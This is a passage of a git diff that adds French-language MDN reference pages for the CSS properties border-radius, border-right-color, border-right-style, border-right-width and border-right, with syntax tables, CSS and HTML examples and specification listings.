+<h3 id="Valeurs">Valeurs</h3>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">Une seule valeur</td>
+   <td><img alt="all-corner.png" class="default internal" src="/@api/deki/files/6138/=all-corner.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon à utiliser pour chaque coin lorsqu'on utilise une seule valeur dans la déclaration.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Deux valeurs (coin en haut à gauche et en bas à droite)</td>
+   <td><img alt="top-left-bottom-right.png" class="default internal" src="/@api/deki/files/6141/=top-left-bottom-right.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en haut à gauche et le coin en bas à droite de la boîte de bordure lorsqu'on utilise deux valeurs dans la déclaration.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Coin en haut à droite et en bas à gauche (syntaxe à deux et trois valeurs)</td>
+   <td><img alt="top-right-bottom-left.png" class="default internal" src="/@api/deki/files/6143/=top-right-bottom-left.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en haut à droite et le coin en bas à gauche de la boîte de bordure lorsqu'on utilise deux ou trois valeurs dans la déclaration.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Coin en haut à gauche</td>
+   <td><img alt="top-left.png" class="default internal" src="/@api/deki/files/6142/=top-left.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en haut à gauche de l'élément. Cette valeur est utilisée lorsqu'on utilise la syntaxe avec trois ou quatre valeurs.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Coin en haut à droite</td>
+   <td style="margin-left: 2px;"><img alt="top-right.png" class="default internal" src="/@api/deki/files/6144/=top-right.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en haut à droite de l'élément. Cette valeur est utilisée lorsqu'on utilise la syntaxe avec quatre valeurs.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Coin en bas à droite</td>
+   <td style="margin-left: 2px;"><img alt="bottom-rigth.png" class="default internal" src="/@api/deki/files/6140/=bottom-rigth.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en bas à droite de l'élément. Cette valeur est utilisée lorsqu'on utilise la syntaxe avec trois ou quatre valeurs.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">Coin en bas à gauche</td>
+   <td><img alt="bottom-left.png" class="default internal" src="/@api/deki/files/6139/=bottom-left.png"></td>
+   <td style="vertical-align: top;">Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) qui indique le rayon de courbure à utiliser pour le coin en bas à gauche de l'élément. Cette valeur est utilisée lorsqu'on utilise la syntaxe avec quatre valeurs.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt><a id="length" name="length"><code>&lt;length&gt;</code></a></dt>
+ <dd>Cette valeur indique la mesure du rayon de courbure du cercle ou la mesure du demi grand axe ou du demi petit axe de l'ellipse traduisant la courbure. Cette valeur peut être exprimée avec les différentes unités de {{cssxref("&lt;length&gt;")}}. Les valeurs négatives sont considérées comme invalides.</dd>
+ <dt><a id="percentage" name="percentage"><code>&lt;percentage&gt;</code></a></dt>
+ <dd>Cette valeur traduit la mesure du rayon de courbure (elliptique ou circulaire) exprimée en pourcentages par rapport à la taille de la boîte. Les rayons verticaux sont donc proportionnels à la hauteur de la boîte et les rayons horizontaux proportionnels à la largeur de la boîte. Les valeurs négatives sont considérées comme invalides. Voir {{cssxref("&lt;percentage&gt;")}} pour plus de détails.</dd>
+</dl>
+
+<p>Ainsi :</p>
+
+<pre class="brush: css">border-radius: 1em/5em;
+
+/* est équivalent à */
+
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+</pre>
+
+<pre class="brush: css">border-radius: 4px 3px 6px / 2px 4px;
+
+/* est équivalent à : */
+
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  height: 100px;
+  width: 200px;
+  border-style: solid;
+  border-color: black;
+  background-color: palegreen;
+}
+
+.arrondi_droit {
+  border-radius: 10px 40px 40px 10px;
+}
+
+.ellipse {
+  border-radius: 50%;
+}
+
+.pointille {
+  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+}
+
+.tirets {
+  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+
+}
+
+.slash {
+  border-radius: 13em/3em;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="arrondi_droit"&gt;&lt;/div&gt;
+
+&lt;div class="ellipse"&gt;&lt;/div&gt;
+
+&lt;div class="tirets"&gt;&lt;/div&gt;
+
+&lt;div class="pointille"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","400")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés liées à la courbure de la bordure
+  <ul>
+   <li>{{cssxref("border-top-left-radius")}},</li>
+   <li>{{cssxref("border-top-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-left-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-right-color/index.html b/files/fr/web/css/border-right-color/index.html
new file mode 100644
index 0000000000..23507f4a4e
--- /dev/null
+++ b/files/fr/web/css/border-right-color/index.html
@@ -0,0 +1,126 @@
+---
+title: border-right-color
+slug: Web/CSS/border-right-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-right-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-right-color</code></strong> définit la couleur utilisée pour la bordure droite d'un élément. Pour avoir une formulation plus concise, on pourra utiliser les propriétés raccourcies {{cssxref("border-color")}} et/ou {{cssxref("border-right")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;color&gt; */
+border-right-color: red;
+border-right-color: rgb(255, 128, 0);
+border-right-color: hsla(100%, 50%, 25%, 0.75);
+border-right-color: #ffbb00;
+border-right-color: currentColor;
+border-right-color: transparent;
+
+/* Valeurs globales */
+border-right-color: inherit;
+border-right-color: initial;
+border-right-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>&lt;<code>color&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}) qui décrit la couleur utilisée pour la bordure du côté droit.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.maboite {
+  border: solid 0.3em gold;
+  border-right-color: red;
+  width: auto;
+}
+
+.texterouge {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="maboite"&gt;
+  &lt;p&gt;Une boîte avec une bordure autour.
+     Notez le côté de la boîte qui est
+     &lt;span class="texterouge"&gt;rouge&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-right-color', 'border-right-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative, la valeur <code>transparent</code> a été supprimée car elle fait désormais partie du type {{cssxref("&lt;color&gt;")}} qui a été étendu.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-right-color', 'border-right-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-right-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés raccourcies liées aux bordures
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés de couleur pour les autres bordures :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure droite :
+  <ul>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-right-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-right-style/index.html b/files/fr/web/css/border-right-style/index.html
new file mode 100644
index 0000000000..0ae7291ec4
--- /dev/null
+++ b/files/fr/web/css/border-right-style/index.html
@@ -0,0 +1,230 @@
+---
+title: border-right-style
+slug: Web/CSS/border-right-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-right-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>border-right-style</code></strong> définit le style de ligne utilisé pour mettre en forme la bordure sur le côté droit d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> La spécification ne définit pas la façon dont les bordures de différents styles se rejoignent dans les coins.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+border-right-style: none;
+border-right-style: hidden;
+border-right-style: dotted;
+border-right-style: dashed;
+border-right-style: solid;
+border-right-style: double;
+border-right-style: groove;
+border-right-style: ridge;
+border-right-style: inset;
+border-right-style: outset;
+
+/* Valeurs globales */
+border-right-style: inherit;
+border-right-style: initial;
+border-right-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Un mot-clé décrivant la forme qu'on souhaite avoir pour la bordure du côté droit. Il peut prendre l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: none; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>hidden</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-right-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>none</code> a la priorité la plus basse donc si une autre bordure est définie et fusionne avec celle-ci, elle sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>hidden</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: hidden; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>none</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-right-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>hidden</code> a la plus haute priorité et donc si une autre bordure est définie et fusionne avec celle-ci, aucune ne sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: dotted; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de points ronds. L'espace entre ces points n'est pas défini par la spécification et est donc laissé à l'implémentation. Le rayon des points correspond à la moitié de {{cssxref("border-right-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: dashed; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de tirets. La taille de ces tirets n'est pas définie par la spécification et est laissée à l'implémentation.</td>
+   </tr>
+   <tr>
+    <td><code>solid</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: solid; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une ligne droite continue.</td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: double; background-color: palegreen;"> </div>
+    </td>
+    <td>Deux lignes droites sont affichées dont la somme des épaisseurs correspond à la valeur fournie par {{cssxref("border-width")}} ou {{cssxref("border-right-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>groove</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: groove; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression qu'elle a été gravée dans le document. On obtient un effet opposé à <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td><code>ridge</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: ridge; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression que la bordure ressort du document. L'effet obtenu est opposé à celui obtenu avec <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>inset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: inset; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D qui donne l'impression que la boîte est renfoncée dans le document (l'effet obtenu est opposé à celui obtenu avec <code>outset</code>). Lorsqu'elle est appliquée sur une cellule de tableau et que {{cssxref("border-collapse")}} vaut <code>collapsed</code>, cette valeur se comporte comme <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>outset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-right-style: outset; background-color: palegreen;"> </div>
+    </td>
+    <td>
+     <p>La bordure crée un effet 3D qui fait ressortir la boîte (l'effet est opposé à <code>inset</code>). Lorsqu'elle est utilisé sur une cellule de tableau avec {{cssxref("border-collapse")}} qui vaut <code>collapsed</code>, cette valeur se comporte comme <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Ce mot-clé représente le style de la bordure utilisé pour l'élément parent.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On applique un style sur le tableau */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* Des exemples pour border-right-style */
+.b1 {border-right-style:none;}
+.b2 {border-right-style:hidden;}
+.b3 {border-right-style:dotted;}
+.b4 {border-right-style:dashed;}
+.b5 {border-right-style:solid;}
+.b6 {border-right-style:double;}
+.b7 {border-right-style:groove;}
+.b8 {border-right-style:ridge;}
+.b9 {border-right-style:inset;}
+.b10 {border-right-style:outset;}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;petits points&lt;/td&gt;
+    &lt;td class="b4"&gt;tirets&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-right-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-right-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-right-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées au style des bordures :
+  <ul>
+   <li>{{cssxref("border-left-style")}}</li>
+   <li>{{cssxref("border-top-style")}}</li>
+   <li>{{cssxref("border-bottom-style")}}</li>
+   <li>{{cssxref("border-style")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure droite :
+  <ul>
+   <li>{{cssxref("border-right")}}</li>
+   <li>{{cssxref("border-right-color")}}</li>
+   <li>{{cssxref("border-right-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-right-width/index.html b/files/fr/web/css/border-right-width/index.html
new file mode 100644
index 0000000000..1461fcc36c
--- /dev/null
+++ b/files/fr/web/css/border-right-width/index.html
@@ -0,0 +1,162 @@
+---
+title: border-right-width
+slug: Web/CSS/border-right-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-right-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-right-width</code></strong> définit l'épaisseur de la bordure pour le côté droit d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+border-right-width: thin;
+border-right-width: medium;
+border-right-width: thick;
+
+/* Valeurs de longueurs */
+/* Type &lt;length&gt; */
+border-right-width: 10em;
+border-right-width: 3vmax;
+border-right-width: 6px;
+
+/* Valeurs globales */
+border-right-width: inherit;
+border-right-width: initial;
+border-right-width: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>Une valeur de longueur ({{cssxref("&lt;length&gt;")}}) positive ou un mot-clé qui indique l'épaisseur de la bordure pour le côté droit de la boîte. Si la valeur est un mot-clé, ce doit être l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thin; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure fine.</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: medium; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure moyenne.</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-right-style: solid; border-right-width: thick; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure épaisse.</td>
+   </tr>
+  </tbody>
+ </table>
+ La spécification ne précise pas de façon exacte l'épaisseur correspondant à chacun de ces mots-clés (c'est donc à chaque implémentation de choisir). La spécification requiert toutefois que l'inégalité suivante soit respectée <code>thin ≤ medium ≤ thick</code> et que ces valeurs soient constantes pour un même document.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.element1{
+	border-right: thick solid red;
+}
+.element2{
+	border-right: medium solid orange;
+}
+.element3{
+	border-right: thin solid green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="element1"&gt;
+  Une bordure épaisse rouge.
+&lt;/p&gt;
+
+&lt;p class="element2"&gt;
+  Une bordure moyenne orange.
+&lt;/p&gt;
+
+&lt;p class="element3"&gt;
+  Et une bordure fine verte.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-right-width', 'border-right-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-right-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées à la largeur de la bordure :
+  <ul>
+   <li>{{cssxref("border-left-width")}},</li>
+   <li>{{cssxref("border-top-width")}},</li>
+   <li>{{cssxref("border-bottom-width")}},</li>
+   <li>{{cssxref("border-width")}}</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés CSS liées à la bordure du côté droit :
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-right-color")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-right/index.html b/files/fr/web/css/border-right/index.html
new file mode 100644
index 0000000000..f0e56d1448
--- /dev/null
+++ b/files/fr/web/css/border-right/index.html
@@ -0,0 +1,126 @@
+---
+title: border-right
+slug: Web/CSS/border-right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-right</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de décrire la bordure droite d'un élément.</p>
+
+<p>Elle définit les valeurs des propriétés suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-right-width")}},</li>
+ <li>{{cssxref("border-right-style")}},</li>
+ <li>{{cssxref("border-right-color")}}.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Ces propriétés permettent de décrire la bordure du côté droit d'un élément.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les trois valeurs de la propriété raccourcie peuvent être définies dans n'importe quel ordre et une ou deux d'entre elles peuvent être absentes.</p>
+
+<p>Comme pour les autres propriétés raccourcies, <code>border-right</code> définit toujours les valeurs de toutes les propriétés qu'elle peut définir, même si celles-ci ne sont pas indiquées. Pour les valeurs qui ne sont pas indiquées, on prendra les valeurs par défaut. Ainsi :</p>
+
+<pre class="brush:css">  border-right-style: dotted;
+  border-right: thick green;
+</pre>
+
+<p>est équivalent à :</p>
+
+<pre class="brush:css">  border-right-style: dotted;
+  border-right: none thick green;
+</pre>
+
+<p> et la valeur {{cssxref("border-right-style")}} fournie avant <code>border-right</code> est ignorée.</p>
+
+<p>La valeur par défaut de {{cssxref("border-right-style")}} étant <code>none</code>, si on ne définit pas le style de la bordure, on aura la valeur par défaut, c'est-à-dire qu'on aura aucune bordure.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt; </code></dt>
+ <dd>Voir {{cssxref("border-right-width")}}.</dd>
+ <dt><code>&lt;br-style&gt; </code></dt>
+ <dd>Voir {{cssxref("border-right-style")}}.</dd>
+ <dt><code>&lt;color&gt; </code></dt>
+ <dd>Voir {{cssxref("border-right-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
